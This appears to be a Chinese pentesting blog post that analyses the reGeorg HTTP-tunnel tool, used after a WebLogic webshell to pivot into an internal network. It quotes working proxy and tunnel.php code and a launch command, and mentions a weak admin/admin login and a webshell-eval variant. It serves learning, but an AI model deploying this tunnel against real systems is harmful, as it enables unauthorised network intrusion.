適用場景
一般用在服務器已被getshell,想橫向滲透但是因為ACL策略較為嚴格。只允許http協議進出。無法直接將端口轉發
或者是內網主機通過端口映射到外網主機,並且內網主機無法訪問外網。這時想進行內網滲透時,也可使用該工具代理進入內網,通過http協議傳達請求
來自Screw師傅的分析文章(圖片繪制的流程超級清楚,🐂🍺)
實戰經歷
一次滲透經歷,通過weblogic CVE-2019-2728漏洞直接獲取webshell后,遇到了一個內網環境
發現獲取shell到的主機為內網映射端口到外網的主機,通過大馬執行CMD命令發現是在內網中,且ping不通外網,這時候無法上線內網主機
這時候需要代理進內網,這里使用了reGeorg來打通http隧道,順便學習了一波
首先上傳tunnel.jsp,發現已經有人搞過了,直接用他傳的jsp的tunnel吧
python2啟動代理服務器腳本
pyton2 reGeorgSocksProxy.py -p 8888 -l 0.0.0.0 -u http://xx/tunnel.jsp
配置下proxifier
加一個SOCKS5代理服務器地址
這里我沒有用全局,沒有必要,就設置某些應用程序使用該代理,這里設置了下firefox,由於是客戶的內網,之前已經連內網進入看了一下,記錄了一個內網的地址的web頁面,測試連接是否正常。設置了下Target Hosts為內網的C段地址,這樣的話,就沒有太多沒用的請求影響我們的通道
之前發現的是一個admin/admin弱口令登錄的ActiveMQ的中間件,版本是5.1的,應該存在反序列化漏洞,這都是昨天測試的。這里測試下通道是否正常
通道正常,直通內網,這里隨便點一個鏈接,通過wireshark看一下發送的web請求。其實就算一個中轉一樣,通過將流量發送到web跳板機,流量的內容就是一個post,然后web跳板機上的tunnel.jsp將流量轉發到內網后再返回數據
今天這個關站了,reGeorgSocksProxy如何傳輸到內網的原理我還不太理解。找了一個之前拿到shell的繼續測試一下
內網IP:
這次可以ping通外網,這種情況就是可以直接上線到CS,然后常規內網滲透
這里存在內網,我就是想了解reGeorgSocksProxy傳輸的一個過程
首先是探測tunnel服務是否正常
然后我通過proxifier代理瀏覽器web請求
抓到的Http流,這里首先是建立一個connect
然后發送了一個read請求去讀取內容
獲取了相應內容
嘗試任意發送一個get請求,然后抓包
對內網發起的請求對應的是Socks代理服務器發送到tunnel.jsp的get請求?Cmd=forward,然后POST內容就是我們的http請求包。forward后立馬發送一個?Cmd=read的get請求去讀取結果
首先看一下reGeorgSocksProxy.py,主要功能是在本地起一個socks代理服務器,然后通過http形式轉發請求到隧道(主要是跟着Screw師傅的分析走的)
這里是起一個socks代理服務器,監聽的地址和端口為命令行輸入的-l 監聽地址和-p 監聽端口
READBUFSIZE = args.read_buff servSock = socket(AF_INET, SOCK_STREAM) servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) servSock.bind((args.listen_on, args.listen_port)) servSock.listen(1000) while True: try: sock, addr_info = servSock.accept() sock.settimeout(SOCKTIMEOUT) log.debug("Incomming connection") session(sock, args.url).start() except KeyboardInterrupt, ex: break except Exception, e: log.error(e) servSock.close()
然后跟隨類重寫thread的session類查看
判斷代理服務器收到的流量是socks5還是socks4的流量,然后進入對應的解析流量的函數
def handleSocks(self, sock): # This is where we setup the socks connection ver = sock.recv(1) if ver == "\x05": return self.parseSocks5(sock) elif ver == "\x04": return self.parseSocks4(sock)
解析本地代理服務器獲取到的數據獲得目的IP和端口
def parseSocks5(self, sock): log.debug("SocksVersion5 detected") nmethods, methods = (sock.recv(1), sock.recv(1)) sock.sendall(VER + METHOD) ver = sock.recv(1) if ver == "\x02": # this is a hack for proxychains ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1)) else: cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1)) target = None targetPort = None if atyp == "\x01": # IPv4 # Reading 6 bytes for the IP and Port target = sock.recv(4) targetPort = sock.recv(2) target = "." .join([str(ord(i)) for i in target]) elif atyp == "\x03": # Hostname targetLen = ord(sock.recv(1)) # hostname length (1 byte) target = sock.recv(targetLen) targetPort = sock.recv(2) target = "".join([unichr(ord(i)) for i in target]) elif atyp == "\x04": # IPv6 target = sock.recv(16) targetPort = sock.recv(2) tmp_addr = [] for i in xrange(len(target) / 2): tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1]))) target = ":".join(tmp_addr) targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) if cmd == "\x02": # BIND raise SocksCmdNotImplemented("Socks5 - BIND not implemented") elif cmd == "\x03": # UDP raise SocksCmdNotImplemented("Socks5 - UDP not implemented") elif cmd == "\x01": # CONNECT serverIp = target try: serverIp = gethostbyname(target) except: log.error("oeps") serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target, targetPort) if self.cookie: sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) return True else: sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort)) raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
然后當客戶端與代理服務器建立連接后,調用setupRemoteSession函數然后向tunnel發送一個connect請求
如果請求成功,會將生成的sessionID保存下來(很重要用來保存整個服務端和Target的Socket會話狀態)
下面的reader和writer函數就不看了,就是調用線程,然后while true讀取返回數據和發送請求內容的
def setupRemoteSession(self, target, port): headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port} self.target = target self.port = port cookie = None conn = self.httpScheme(host=self.httpHost, port=self.httpPort) # response = conn.request("POST", self.httpPath, params, headers) response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="") if response.status == 200: status = response.getheader("x-status") if status == "OK": cookie = response.getheader("set-cookie") log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie)) else: if response.getheader("X-ERROR") is not None: log.error(response.getheader("X-ERROR")) else: log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR"))) log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data)) conn.close() return cookie
下面對着php的socket tunnel來看,tunnel.php獲取到ip和port,然后與目標建立一個socket連接(TCP協議類型)
當session存在生效時,while循環就一直掛着,當$_SESSION["writebuf"]不為空的時候,就將writebuf通過socket傳入,然后只要獲取內網機器傳回來的數據后就存放到$readBuff中
if ($_SERVER['REQUEST_METHOD'] === 'POST') { set_time_limit(0); $headers=apache_request_headers(); $cmd = $headers["X-CMD"]; switch($cmd){ case "CONNECT": { $target = $headers["X-TARGET"]; $port = (int)$headers["X-PORT"]; $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) { header('X-STATUS: FAIL'); header('X-ERROR: Failed creating socket'); return; } $res = @socket_connect($sock, $target, $port); if ($res === false) { header('X-STATUS: FAIL'); header('X-ERROR: Failed connecting to target'); return; } socket_set_nonblock($sock); @session_start(); $_SESSION["run"] = true; $_SESSION["writebuf"] = ""; $_SESSION["readbuf"] = ""; ob_end_clean(); header('X-STATUS: OK'); header("Connection: close"); ignore_user_abort(); ob_start(); $size = ob_get_length(); header("Content-Length: $size"); ob_end_flush(); flush(); session_write_close(); while ($_SESSION["run"]) { $readBuff = ""; @session_start(); $writeBuff = $_SESSION["writebuf"]; $_SESSION["writebuf"] = ""; session_write_close(); if ($writeBuff != "") { $i = socket_write($sock, $writeBuff, strlen($writeBuff)); if($i === false) { @session_start(); $_SESSION["run"] = false; session_write_close(); header('X-STATUS: FAIL'); header('X-ERROR: Failed writing socket'); } } while ($o = socket_read($sock, 512)) { if($o === false) { @session_start(); $_SESSION["run"] = false; session_write_close(); header('X-STATUS: FAIL'); header('X-ERROR: Failed reading from socket'); } $readBuff .= $o; } if ($readBuff!=""){ @session_start(); $_SESSION["readbuf"] .= $readBuff; session_write_close(); } #sleep(0.2); } socket_close($sock); } break;
建立完連接后,因為socks代理服務器腳本中是先進行read的線程啟動,所以會先去read一次,然后再forward一次
發送forward請求后,tunnel腳本通過php://input獲取本地代理腳本發來的post的數據,然后將瀏覽器對內網機器的http訪問請求存入$_SESSION["writebuf"](即POST的內容)
case "FORWARD": { @session_start(); $running = $_SESSION["run"]; session_write_close(); if(!$running){ header('X-STATUS: FAIL'); header('X-ERROR: No more running, close now'); return; } header('Content-Type: application/octet-stream'); $rawPostData = file_get_contents("php://input"); if ($rawPostData) { @session_start(); $_SESSION["writebuf"] .= $rawPostData; session_write_close(); header('X-STATUS: OK'); header("Connection: Keep-Alive"); return; } else { header('X-STATUS: FAIL'); header('X-ERROR: POST request read filed'); } } break; }
上面就是通過tunnel獲取到對內網機器的真實http請求,然后通過建立socket通道將請求轉發給真正的目標機器
然后再來看下發送的read請求,tunnel收到read命令后,會將$_SESSION["readbuf"]存入$readBuffer變量中,然后只要約定的session會話還在,就會返回$readBuffer的內容
case "READ": { @session_start(); $readBuffer = $_SESSION["readbuf"]; $_SESSION["readbuf"]=""; $running = $_SESSION["run"]; session_write_close(); if ($running) { header('X-STATUS: OK'); header("Connection: Keep-Alive"); echo $readBuffer; return; } else { header('X-STATUS: FAIL'); header('X-ERROR: RemoteSocket read filed'); return; } } break;
上面的流程就是發送connect使tunnel與目標機器建立socket連接,當session會話存在時,通過循環判斷是否有需要傳遞的內容,如果有,就會通過socket連接向目標機器發送請求內容,並且會不斷從與目標機器建立的socket連接中獲取數據,如果存在就寫入readBuff變量中。接着發送forward請求,將真實的數據發送給tunnel,然后tunnel獲取到post數據轉發到socket連接中,發送給目標機器,然后將目標機器返回的數據存放到到$_SESSION["readbuf"]中,等待下一次read請求來獲取該內容。基本流程就是這樣
但是稍微遇到了一些問題,發現有時候流量挺大的,本地代理服務器在獲取到數據后,然后會不停發送read請求
通過一句話木馬直接寫入的項目:
https://github.com/zsxsoft/reGeorg
LCTF 2018 中 zsx 師傅,將這款工具的 php 部分進行了修改,實現了只要遠端有一個 一句話木馬就能直接運行(實際上本質就是將這個代理腳本作為數據傳到小馬里面 eval,其他語言的部分其實可以根據自己所需進行修改如下圖)
這是讀取代理腳本到變量
這里是將變量作為參數傳入一句話
參考文章:
http://screwsec.com/2020/06/05/reGeorg%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/#%E8%83%8C%E6%99%AF